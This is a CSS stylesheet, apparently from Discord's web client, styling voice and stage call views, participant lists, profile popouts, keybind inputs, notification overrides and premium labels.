.callContainer-36WRfH { overflow: hidden; background: rgb(0, 0, 0); }

.callContainer-36WRfH, .centerControls-2E5oVA { -webkit-box-flex: 1; flex: 1 1 auto; }

.centerControls-2E5oVA { pointer-events: all; display: flex; -webkit-box-pack: center; justify-content: center; }

.leftTrayIcon-vpfJk5 { margin-right: 16px; }

.rightTrayIcon-3hFoUP { margin-left: 16px; }

@media (max-width: 456px) {
  .leftTrayIcon-vpfJk5 { margin-right: 8px; }
  .rightTrayIcon-3hFoUP { margin-left: 8px; }
  .settingsButton-32Uw6u, .viewersButton-_Zs4UU { display: none; }
}

.iconWrapper-31YWq8 { position: relative; }

.volumeSlider-1yH4yV { margin-top: -16px; }

.badge-1z4YpW { position: absolute; top: -8px; right: 0px; pointer-events: none; }

.headerWrapper-3NUKsd { margin: 0px -16px; }

.resizeHandle-aTgVKr { bottom: -2px; cursor: ns-resize; height: 4px; position: absolute; width: 100%; }

.wrapper-2qzCYF.chatSidebarOpen-2u0Ygq .callContainer-36WRfH { border-radius: 0px 8px 8px 0px; }

.wrapper-2qzCYF.minimum-28Z35l .callContainer-36WRfH { background: none; }

.chatToasts-2u_K0z { position: absolute; top: 48px; right: 8px; width: 25%; max-width: 304px; height: 50%; overflow: hidden; pointer-events: none; }

.background-1vAsyP { padding: 12px; margin-left: 4px; margin-right: 4px; border-radius: 50%; background-color: var(--background-tertiary); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.foreground-2XBsBU { color: var(--interactive-normal); }

.container-1EOCj2 { width: 320px; flex-shrink: 0; -webkit-box-orient: vertical; flex-direction: column; border-top-left-radius: 8px; border-bottom-left-radius: 8px; background-color: var(--background-primary); }

.container-1EOCj2, .headerContainer-3Dbfbk { display: flex; -webkit-box-direction: normal; }

.headerContainer-3Dbfbk { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 12px; box-shadow: var(--elevation-low); color: var(--header-primary); }

.headerTitle-34m7pK { margin-left: 12px; font-weight: 600; }

.headerClose-3ppwtq { margin-left: auto; cursor: pointer; color: var(--interactive-normal); }

.headerClose-3ppwtq:hover { color: var(--interactive-hover); }

.headerClose-3ppwtq:active { color: var(--interactive-active); }

.contentContainer-3uyIT3 { padding-left: 16px; padding-right: 16px; }

.selfSpeakerContainer-qt7ckS { padding-top: 16px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; cursor: pointer; color: var(--interactive-normal); }

.selfSpeakerContainer-qt7ckS:hover { color: var(--interactive-hover); }

.selfSpeakerContainer-qt7ckS:active { color: var(--interactive-active); }

.buttonContainer-38-Et1 { height: 32px; width: 32px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-secondary); border-radius: 50%; color: var(--interactive-normal); }

.buttonContainer-38-Et1:hover { background-color: var(--background-tertiary); color: var(--interactive-hover); }

.buttonContainer-38-Et1:active { background-color: var(--background-tertiary); color: var(--interactive-active); }

.buttonMargin-3w-apA { margin-left: 16px; }

.selfSpeakerButton-2ZvK-g { background-color: var(--background-tertiary); }

.selfSpeakerText-3QjNKH { margin-left: 12px; }

.listTitle-3x9PAq { padding-top: 24px; font-weight: 700; text-transform: uppercase; }

.participantRowContainer-2LfSyI { padding-top: 16px; height: 40px; }

.participantMemberContainer-3JuhCc, .participantRowContainer-2LfSyI { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.participantMemberContainer-3JuhCc { margin-right: auto; flex-shrink: 1; cursor: pointer; overflow: hidden; }

.participantTextContainer-3ZPeQk { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-left: 16px; margin-right: 8px; }

.participantAvatar-2CxvNm { flex-shrink: 0; }

.participantName-1SXKIB { color: var(--header-primary); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.emptyStateContainer-ExQMn0 { padding-top: 32px; padding-bottom: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; text-align: center; }

.emptyStateTitle-3RFcC1 { margin-top: 16px; font-weight: 600; }

.emptyStateBody-2qGLUo { margin-top: 8px; }

.toggle-3djVTx { padding-top: 20px; margin-bottom: 0px; }

.strikethrough-1s1uEI { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.participants-1e7HCI { color: var(--interactive-normal); padding-left: 0px; padding-right: 0px; }

.icon-1FO5mc { margin-left: 0px; }

.eventsButton-3-JJ_w { margin-right: 0px; }

.settingsButton-2tFGbO { display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; }

.tileBaseContainer-2b4wJM { width: 102px; height: 98px; margin: auto; display: inline-block; border-radius: 8px; }

.tileContainer-BaRAZF { cursor: pointer; text-align: center; background-color: var(--background-floating); }

.tileContainer-BaRAZF:hover { background-color: var(--background-tertiary); }

.textContainer-3dhW-4 { padding: 0px 4px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.avatarContainer-aPUO5G { margin: 8px auto; position: relative; width: 56px; height: 56px; }

.avatar-3u7cAV { width: 56px; height: 56px; border-radius: 28px; background-color: var(--background-floating); }

.avatar-3u7cAV.faded-br_yZz { opacity: 0.5; }

.text-2wY55Y { max-width: 100%; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; display: inline-block; }

.singleIcon-1YgZ-K .text-2wY55Y { max-width: calc(100% - 16px); }

.doubleIcon-13cAl6 .text-2wY55Y { max-width: calc(100% - 32px); }

.boost-3TdRZp { margin-left: 4px; width: 10px; height: 16px; display: inline-block; vertical-align: text-top; }

.blockedIcon-2tOKiw { margin-right: 2px; }

.blockedIcon-2tOKiw, .icon-3z8ito { width: 12px; height: 12px; }

.icon-3z8ito { background-clip: padding-box; border-radius: 50%; padding: 2px; color: var(--background-floating); background-color: var(--header-primary); border: 3px solid var(--background-floating); position: absolute; right: -3px; top: -3px; }

.icon-3z8ito.invited-2iN9W3 { color: var(--header-primary); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.participants-soO0aD { display: flex; height: 98px; background-color: var(--background-floating); }

.roleContainer-8-Ld9g { padding-top: 40px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding-bottom: 8px; }

.roleName-rabVQI { font-weight: 600; text-transform: uppercase; }

.container-2t1JyW { padding-bottom: 16px; padding-top: 96px; background-color: var(--background-floating); }

.title-2eOBcL { font-weight: 600; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }

.subtitle-1ydIDA { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.dotSeparator-3gmT-O { margin: 0px 8px; height: 4px; width: 4px; background-color: var(--background-accent); border-radius: 50%; }

.icon-3QjGWS { margin-right: 4px; }

.iconAfterText-3Hl9dX { margin: auto 4px auto 8px; }

.scrollerBase-1X4git { position: relative; box-sizing: border-box; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.auto-3V-QBl { }

.auto-3V-QBl, .auto-3V-QBl.fade-3w7yAZ:hover { }

.auto-3V-QBl::-webkit-scrollbar { width: 16px; height: 16px; }

.auto-3V-QBl::-webkit-scrollbar-track { background-color: var(--background-floating); }

.auto-3V-QBl::-webkit-scrollbar-thumb, .auto-3V-QBl::-webkit-scrollbar-track { border: 4px solid var(--background-floating); background-clip: padding-box; border-radius: 8px; }

.auto-3V-QBl::-webkit-scrollbar-thumb { background-color: var(--background-modifier-accent); min-height: 40px; }

.auto-3V-QBl::-webkit-scrollbar-corner { background-color: var(--background-floating); }

.fade-3w7yAZ { }

.fade-3w7yAZ::-webkit-scrollbar-thumb, .fade-3w7yAZ::-webkit-scrollbar-track { visibility: hidden; }

.fade-3w7yAZ:hover::-webkit-scrollbar-thumb, .fade-3w7yAZ:hover::-webkit-scrollbar-track { visibility: visible; }

.container-1KVp62 { position: absolute; top: 8px; right: 8px; }

.tile-2Q7yR_ { height: 100%; }

.outerContainer-1_YKxq { box-sizing: border-box; position: relative; cursor: pointer; margin-right: 8px; }

.outerContainer-1_YKxq:last-child { margin-right: 0px; }

.rowContainer-2tYerQ { margin-bottom: 8px; width: 100%; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-floating); }

.scroller-1SuHJo { padding-left: 16px; padding-right: 16px; background-color: var(--background-floating); }

.grid-1Hwz9O, .scroller-1SuHJo { width: 100%; height: 100%; }

.grid-1Hwz9O { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: 88px; }

.spacer-2ne1bb { padding-bottom: 88px; }

.divider-JMvf_l { margin-top: 23px; border-bottom: 1px solid var(--background-primary); width: 100%; }

.focusedRow-CDA7cI { margin-bottom: 8px; width: 100%; display: flex; -webkit-box-pack: center; justify-content: center; }

.focusedNoAudienceGap-1r071i { margin-bottom: 36px; }

.containerColumn-1Wj-gZ { -webkit-box-orient: vertical; flex-direction: column; }

.container-2j8dvG, .containerColumn-1Wj-gZ { display: flex; -webkit-box-direction: normal; -webkit-box-align: center; align-items: center; }

.container-2j8dvG { -webkit-box-orient: horizontal; flex-direction: row; }

.audienceButton-M5mD1c, .makeMeASpeakerButton-2_Cz3b { height: 56px; width: 56px; border-radius: 50%; background-color: var(--background-tertiary); }

.audienceButton-M5mD1c { margin-right: 16px; }

.requestToSpeakIcon-1BjGfe { grid-area: icon / icon / icon / icon; margin: auto; }

.slash-3wynFg { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.leaveQuietlyButton-1yMc0b { height: 56px; border-radius: 28px; }

.leaveQuietlyButtonInnerContainer-3RO33o { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.leaveQuietlyIcon-3W16Ig { margin-left: 4px; flex-shrink: 0; }

.raisedHandButtonIconActive-1_Aqtv { color: rgb(54, 57, 63); }

.buttonSpacing-3apH88 { margin-left: 16px; }

.speakerRaiseHandButtonContainer-3VziUu { position: relative; }

.speakerRaiseHandButton-1-xsvS { position: static; }

.speakerRaiseHandBadge-kSmEho { padding: 0px 4px; position: absolute; top: 0px; right: 0px; min-width: 16px; border-radius: 8px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); font-weight: 600; box-sizing: border-box; text-align: center; }

.eventPrompts-1cvOES { margin-bottom: 40px; position: absolute; bottom: 40px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.separator-sO45Iz { height: 8px; }

.avControls-3NZVyh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; gap: 8px; }

.content-ZVP-cK { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; margin: 32px; }

.bulletContainer-BgDh6e { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-pack: start; justify-content: flex-start; margin-bottom: 24px; }

.bulletContainer-BgDh6e, .iconContainer-2aaq6z { display: flex; -webkit-box-direction: normal; -webkit-box-align: center; align-items: center; }

.iconContainer-2aaq6z { -webkit-box-orient: vertical; flex-direction: column; -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); border-radius: 50%; height: 40px; width: 40px; }

.bulletIcon-3bl_jj { color: var(--header-primary); padding: 12px; }

.bulletText-2mfMVi { margin-left: 16px; }

.headerTitle-2xNrT- { text-align: center; margin-bottom: 24px; }

.button-2sIstc { margin-top: 8px; width: 100%; }

.icon-3iGRtr { margin-right: 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.illustration-2Gd58g { width: 300px; margin: auto auto 24px; }

.red-C3U0Zq { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.iconBackground-31Th5v { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-primary); border-radius: 50%; height: 64px; width: 64px; }

.icon-AuwN02 { color: var(--interactive-active); }

.headerContainer-8_4ujj { margin-top: 24px; margin-bottom: 24px; text-align: center; }

.eventPrompt-3xGqWj, .subtitle-2DaQ64 { margin-top: 8px; }

.separator-1FmzCh { margin-top: 24px; margin-bottom: 24px; background-color: var(--background-primary); border: none; height: 1px; }

.continueIcon-ll1SZP { color: var(--interactive-normal); }

.continueIconContainer-D8CGm_ { background-color: var(--background-tertiary); }

.audienceSummary-3Y_C4J { margin-top: 24px; max-width: 400px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.summaryItem-3kLFyc { margin-right: 8px; }

.container-pTf0Ly { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-flex: 0; flex: 0 0 auto; }

.callContainer-3UuV6S, .container-pTf0Ly { display: flex; -webkit-box-direction: normal; height: 100%; width: 100%; background-color: var(--background-floating); }

.callContainer-3UuV6S { -webkit-box-orient: vertical; flex-direction: column; }

.sidebarVisible-F3zEoe { margin-right: 8px; border-top-right-radius: 8px; border-bottom-right-radius: 8px; overflow: hidden; }

.rightTrayIcon-2W9KUF { margin-left: 16px; }

.volumeSlider-lKsmEh { margin-top: -16px; }

.premiumProfilePreviewModal-2Ldtiv { width: 300px; border-radius: 5px; overflow: hidden; }

.premiumProfilePreviewModal-2Ldtiv .premiumProfilePreviewContent-9o7jmL { padding: 0px; background-color: var(--background-floating); }

.upsellSection-3TPKoE { background-color: var(--background-secondary); padding: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.joinText-3_f5E8 { margin-bottom: 16px; text-align: center; }

.premiumSubscribeButton-1AiUMK { margin-bottom: 8px; }

.popoutProfileText-Wd8J9P { padding: 0px 16px; }

.missingEntitlementImage-15q-cx { margin: 0px auto 20px; width: 400px; height: 200px; background-size: contain; }

.text-Wx6rKQ { margin-bottom: 20px; }

.theme-dark .missingEntitlementImage-15q-cx { background-image: url("https://discord.com/assets/e0989b9d43cd9ca4417b49f4f8fbebc6.svg"); }

.theme-light .missingEntitlementImage-15q-cx { background-image: url("https://discord.com/assets/10883f4297b061ad31a056bcf2191699.svg"); }

.container-CpszHS { transition: border 0.15s ease 0s; }

.container-CpszHS * { cursor: pointer; }

.container-CpszHS.hasValue-3pdcdm .button-34kXw5 { width: 34px; }

.container-CpszHS.hasValue-3pdcdm:not(.disabled-29eJ21):focus-within .button-34kXw5, .container-CpszHS.hasValue-3pdcdm:not(.disabled-29eJ21):hover .button-34kXw5 { width: 128px; }

.container-CpszHS:not(.disabled-29eJ21):focus-within, .container-CpszHS:not(.disabled-29eJ21):hover { border-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); }

.disabled-29eJ21 { }

.disabled-29eJ21, .disabled-29eJ21 * { cursor: not-allowed; }

.layout-FSaTy9 { }

.button-34kXw5 { width: 128px; white-space: nowrap; position: relative; transition: background-color 0.2s ease-in-out 0s, color 0.2s ease-in-out 0s, width 0.2s ease-in-out 0s; overflow: hidden; }

.container-CpszHS.recording-1H2dS7 { border-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.6); box-shadow: 0 0 6px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); animation: 1s ease-in 0s infinite normal none running shadowPulse-2kjgqQ; }

.container-CpszHS.recording-1H2dS7, .container-CpszHS.recording-1H2dS7 .button-34kXw5 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-CpszHS.recording-1H2dS7 .button-34kXw5 { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.1); }

.container-CpszHS.recording-1H2dS7 .input-1G2o7i { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-CpszHS.recording-1H2dS7 .input-1G2o7i::-webkit-input-placeholder { color: transparent; }

.container-CpszHS.recording-1H2dS7 .input-1G2o7i::placeholder { color: transparent; }

.input-1G2o7i { font-weight: 600; font-size: 14px; user-select: none; }

.editIcon-13gaox { background-image: url("https://discord.com/assets/3086e999053d564a340193ef2f0e3dcd.svg"); position: absolute; top: 50%; left: 50%; width: 24px; height: 24px; margin-left: -12px; margin-top: -12px; opacity: 0; transition: opacity 0.2s ease-in-out 0s, transform 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.hasValue-3pdcdm .editIcon-13gaox { opacity: 1; transform: translateZ(0px); }

.hasValue-3pdcdm:not(.disabled-29eJ21):focus-within .editIcon-13gaox, .hasValue-3pdcdm:not(.disabled-29eJ21):hover .editIcon-13gaox { opacity: 0; transform: translate3d(-200%, 0px, 0px); }

.text-2sI5Sd { transition: opacity 0.2s ease-in-out 0s, transform 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; opacity: 1; }

.hasValue-3pdcdm .text-2sI5Sd { opacity: 0; transform: translate3d(200%, 0px, 0px); }

.hasValue-3pdcdm:not(.disabled-29eJ21):focus-within .text-2sI5Sd, .hasValue-3pdcdm:not(.disabled-29eJ21):hover .text-2sI5Sd { opacity: 1; transform: translateZ(0px); }

@-webkit-keyframes shadowPulse-2kjgqQ { 
  0% { box-shadow: 0 0 6px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); }
  50% { box-shadow: 0 0 10px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.6); }
  100% { box-shadow: 0 0 6px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); }
}

@keyframes shadowPulse-2kjgqQ { 
  0% { box-shadow: 0 0 6px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); }
  50% { box-shadow: 0 0 10px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.6); }
  100% { box-shadow: 0 0 6px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.3); }
}

.theme-dark .title-3pjxZQ { color: rgb(185, 187, 190); }

.theme-light .title-3pjxZQ { color: rgb(114, 118, 125); }

.userProfileActivity-Bnt1p_ { position: relative; padding: 16px; }

.listRow-1iDGel { display: flex; font-weight: 500; -webkit-box-align: center; align-items: center; cursor: pointer; line-height: 30px; padding: 4px; color: var(--text-normal); border-radius: 4px; margin: 1px 0px 1px 8px; }

.listRow-1iDGel:hover { background-color: var(--background-modifier-hover); }

.listRowContent-i8Bizk { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.listName-U3shDM { font-size: 16px; line-height: 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.listAvatar-1BbvHX { margin-right: 10px; flex-shrink: 0; }

.listDiscriminator-2AP_Kz { font-size: 12px; opacity: 0.6; }

.empty-39KnKA { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 0%; min-height: 100%; padding: 20px 0px; }

.emptyIcon-1yiM-z { width: 240px; height: 130px; background-position: 50% center; background-repeat: no-repeat; background-size: cover; }

.emptyText-2d2yNp { font-weight: 500; font-size: 14px; line-height: 16px; margin-top: 12px; text-transform: uppercase; color: var(--header-secondary); }

.listScroller-3GmIYj { padding: 8px 0px; height: 100%; }

.emptyIconFriends-2l7flK, .emptyIconGuilds-zT7p-8, .emptyIconStreamerMode-1h-oZF { }

.theme-dark .emptyIconStreamerMode-1h-oZF { background-image: url("https://discord.com/assets/16cbaa97e5daa42bbc69cf064011be69.svg"); }

.theme-dark .emptyIconGuilds-zT7p-8 { background-image: url("https://discord.com/assets/3ba82b28fba53cc606486b5cf48c3c30.svg"); }

.theme-dark .emptyIconFriends-2l7flK { background-image: url("https://discord.com/assets/7fcb750721a08b543ba49fb04bd04158.svg"); }

.theme-light .emptyIconStreamerMode-1h-oZF { background-image: url("https://discord.com/assets/a6e2e9dd83ec6c968d42f004d96e5907.svg"); }

.theme-light .emptyIconGuilds-zT7p-8 { background-image: url("https://discord.com/assets/b43b723336cb382bc2eb8c484abf2160.svg"); }

.theme-light .emptyIconFriends-2l7flK { background-image: url("https://discord.com/assets/c32a6f214c276af4b954c27871de54b4.svg"); }

.userInfoSection-q_35fn { padding: 16px 0px; }

.userInfoSection-q_35fn + .userInfoSection-q_35fn { border-top: 1px solid var(--background-modifier-accent); }

.userInfoSectionHeader-3TYk6R { font-weight: 700; color: var(--header-secondary); margin-bottom: 8px; }

.userBio-3tlrzS { margin-bottom: 16px; font-size: 14px; line-height: 18px; }

.note-367eZJ { margin: -4px; }

.note-367eZJ textarea { border-radius: 3px; padding: 4px; font-size: 14px; line-height: 18px; }

.connectedAccounts-QlRa4m { -webkit-box-pack: justify; justify-content: space-between; flex-wrap: wrap; margin-top: -20px; }

.connectedAccount-2Jb-Z0, .connectedAccounts-QlRa4m { display: flex; }

.connectedAccount-2Jb-Z0 { flex-shrink: 1; -webkit-box-flex: 0; flex-grow: 0; -webkit-box-align: center; align-items: center; border-radius: 3px; margin-top: 20px; padding: 8px 14px 8px 8px; width: 240px; border-width: 1px; border-style: solid; border-image: initial; border-color: var(--background-modifier-accent); }

.connectedAccountIcon-3_EQqg { width: 30px; height: 30px; flex-shrink: 0; }

.connectedAccountNameInner-2q3MVf { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 1; flex-grow: 1; }

.connectedAccountName-E1KzaT, .connectedAccountNameInner-2q3MVf { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.connectedAccountName-E1KzaT { font-size: 16px; font-weight: 500; margin-left: 10px; user-select: text; color: var(--text-normal); }

.connectedAccountVerifiedIcon-2cA82O { margin: 0px 5px; }

.connectedAccountOpenIcon-E5wGF4 { flex-shrink: 0; width: 18px; height: 18px; color: var(--interactive-normal); display: block; }

.connectedAccountOpenIcon-E5wGF4:hover { color: var(--interactive-hover); }

.connectedAccountOpenIcon-E5wGF4:active { color: var(--interactive-active); }

.infoScroller-1Qu30O { padding: 0px 20px; height: 100%; }

.content-191BxG { padding-top: 16px; }

.button-2CgfFz { text-indent: -9999em; overflow: hidden; cursor: pointer; width: 24px; height: 24px; background-position: 50% 50%; background-repeat: no-repeat; border-radius: 50%; transition: opacity 0.1s ease-in-out 0s, box-shadow 0.1s ease-in-out 0s, transform 0.2s ease 0s, -webkit-box-shadow 0.1s ease-in-out 0s, -webkit-transform 0.2s ease 0s; }

.button-2CgfFz:active { transform: translateY(1px); }

.default-3oAQTF { background-image: url("https://discord.com/assets/b5ad3c52d0699af9b6987839875450d4.svg"); }

.filled-1iCBCZ { background-image: url("https://discord.com/assets/eb69ec9fdd30653a3ade1ab501a7cd3d.svg"); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.filled-1iCBCZ:hover { }

.theme-light .button-2CgfFz { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.theme-light .button-2CgfFz:hover { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .default-3oAQTF { background-color: rgb(255, 255, 255); }

.theme-light .default-3oAQTF:hover { }

.theme-dark .button-2CgfFz { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .button-2CgfFz:hover { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .default-3oAQTF { background-color: rgb(54, 57, 63); }

.theme-dark .default-3oAQTF:hover { }

.lighten-2aYaaU { opacity: 0.3; }

.wrapper-1U5SlS { position: relative; overflow: hidden; }

.icon-JJBzjE { align-self: center; min-width: 16px; }

.title-1B76a1 { margin: 0px 4px; }

.subtitle-2yP_Eh, .title-1B76a1 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.subtitle-2yP_Eh { min-width: 48px; text-transform: uppercase; color: var(--text-normal); }

.spacing-3SKozy { margin-bottom: 20px; }

.smallSpacing-2Dn-1F { margin-bottom: 8px; }

.largeSpacing-304iPU { margin-bottom: 40px; margin-top: 8px; }

.lighten-kLb06a { opacity: 0.6; }

.marginReset-Mol2dw { margin: 0px; }

.checkboxContainer-2vV9zd { position: relative; }

.checkboxContainer-2vV9zd::before { content: ""; position: absolute; top: 0px; left: -26px; width: 1px; height: 100%; }

.checkboxMute-14hTGS { position: relative; }

.checkboxMute-14hTGS::before { content: ""; position: absolute; inset: -16px -26px; background-color: rgba(0, 0, 0, 0.1); }

.checkboxContainerMuted-1HFenf { opacity: 0.3; }

.muteUntilTitle-2kU0Z4 { margin: 0px; }

.muteUntilText-2BkKag { color: var(--header-secondary); }

.muteTimeSelector-3WrM7K { -webkit-box-flex: 0; flex: 0 0 50%; }

.checkboxGroup-Z7AmuU { width: 300px; }

.overrideList-Xc_VCf { padding-bottom: 12px; }

.override-2YgiXd, .overrideHighlight-YPcBxt { margin-bottom: 8px; position: relative; padding: 10px 0px 10px 10px; display: flex; -webkit-box-align: stretch; align-items: stretch; transition: background-color 0.1s ease-in-out 0s; }

.override-2YgiXd:focus-within .removeOverride-2sdvVX, .override-2YgiXd:hover .removeOverride-2sdvVX, .overrideHighlight-YPcBxt:focus-within .removeOverride-2sdvVX, .overrideHighlight-YPcBxt:hover .removeOverride-2sdvVX { opacity: 1; }

.overridePlaceholder-14_rPI { margin-bottom: 8px; height: 56px; border-radius: 3px; text-align: center; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.nameContainer-2wY6sG { min-width: 0px; }

.icon-IkZExu { flex-shrink: 0; align-self: center; height: 20px; }

.overrideHeader-367JNH { font-weight: 600; }

.header-3Uqp87 { margin-bottom: 8px; color: var(--text-normal); }

.headerName-2n9eUZ { margin-left: 8px; -webkit-box-flex: 1; flex: 1 1 auto; }

.headerOption-3qo9Ph { cursor: default; text-align: center; width: 75px; -webkit-box-flex: 0; flex: 0 0 auto; }

.removeOverride-2sdvVX { position: absolute; top: -12px; right: -12px; opacity: 0; }

.channelNameContainer-1PGmUU { overflow: hidden; padding: 0px 10px; }

.channelName-28iMRJ { font-weight: 600; }

.channelName-28iMRJ, .channelNameByline-R73-tU { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.channelNameByline-R73-tU { }

.channelNameCategory-mxHe-m { font-weight: 500; opacity: 0.3; text-transform: uppercase; font-size: 11px; }

.theme-dark .channelName-28iMRJ { color: rgb(246, 246, 247); }

.theme-dark .guildName-3WI6ml, .theme-dark .override-2YgiXd, .theme-dark .overrideHighlight-YPcBxt { color: rgb(185, 187, 190); }

.theme-dark .override-2YgiXd:hover { background-color: rgba(32, 34, 37, 0.1); }

.theme-dark .overrideHighlight-YPcBxt, .theme-dark .overrideHighlight-YPcBxt:hover { background-color: rgba(32, 34, 37, 0.3); }

.theme-dark .checkboxContainer-2vV9zd::before { background-color: rgba(32, 34, 37, 0.6); }

.theme-dark .overridePlaceholder-14_rPI { border: 1px dashed rgb(24, 25, 28); }

.theme-light .channelName-28iMRJ { color: rgb(79, 84, 92); }

.theme-light .guildName-3WI6ml, .theme-light .override-2YgiXd, .theme-light .overrideHighlight-YPcBxt { color: rgb(114, 118, 125); }

.theme-light .override-2YgiXd:hover { background-color: rgba(246, 246, 247, 0.1); }

.theme-light .overrideHighlight-YPcBxt, .theme-light .overrideHighlight-YPcBxt:hover { background-color: rgba(246, 246, 247, 0.3); }

.theme-light .checkboxContainer-2vV9zd::before { background-color: rgba(220, 221, 222, 0.6); }

.theme-light .overridePlaceholder-14_rPI { border: 1px dashed rgb(185, 187, 190); }

.premiumLabel-fDtYys { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; position: relative; z-index: 3; pointer-events: none; }

.selected-2GV18F { color: rgb(255, 255, 255); }

.selectedIcon-T40qOF { fill: rgb(255, 255, 255); }

.holidayPromotionLabel-1cuyn0 { color: rgb(255, 255, 255); }

.holidayPromotionIcon-2Ydphj { fill: rgb(255, 255, 255); }

.background-CYva7T { position: absolute; top: 0px; left: 0px; height: 100%; width: 100%; z-index: 1; }

.selectedBackground-2KQZ6B { background-color: var(--brand-experiment); }

.holidayPromotionBackground-3A9hk1 { background: linear-gradient(90deg, rgb(50, 70, 178), rgb(72, 162, 222)); }

.snow-160DJc { position: absolute; top: 0px; left: 0px; height: 100%; width: 100%; z-index: 2; pointer-events: none; }

.theme-light .holidayPromotionBackground-3A9hk1 { opacity: 0.8; }

.theme-light .holidayPromotionBackground-3A9hk1:hover, .theme-light .holidayPromotionSelectedBackground-1jYrxz { opacity: 1; }

.theme-dark .holidayPromotionBackground-3A9hk1 { opacity: 0.6; }

.theme-dark .holidayPromotionBackground-3A9hk1:hover { opacity: 0.75; }

.theme-dark .holidayPromotionSelectedBackground-1jYrxz { opacity: 1; }

.standardSidebarView-3F1I7i { position: absolute; inset: 0px; z-index: 101; display: flex; background-color: var(--background-primary); }

.standardSidebarView-3F1I7i, .standardSidebarView-3F1I7i * { box-sizing: border-box; }

.platform-win .standardSidebarView-3F1I7i { top: 22px; }

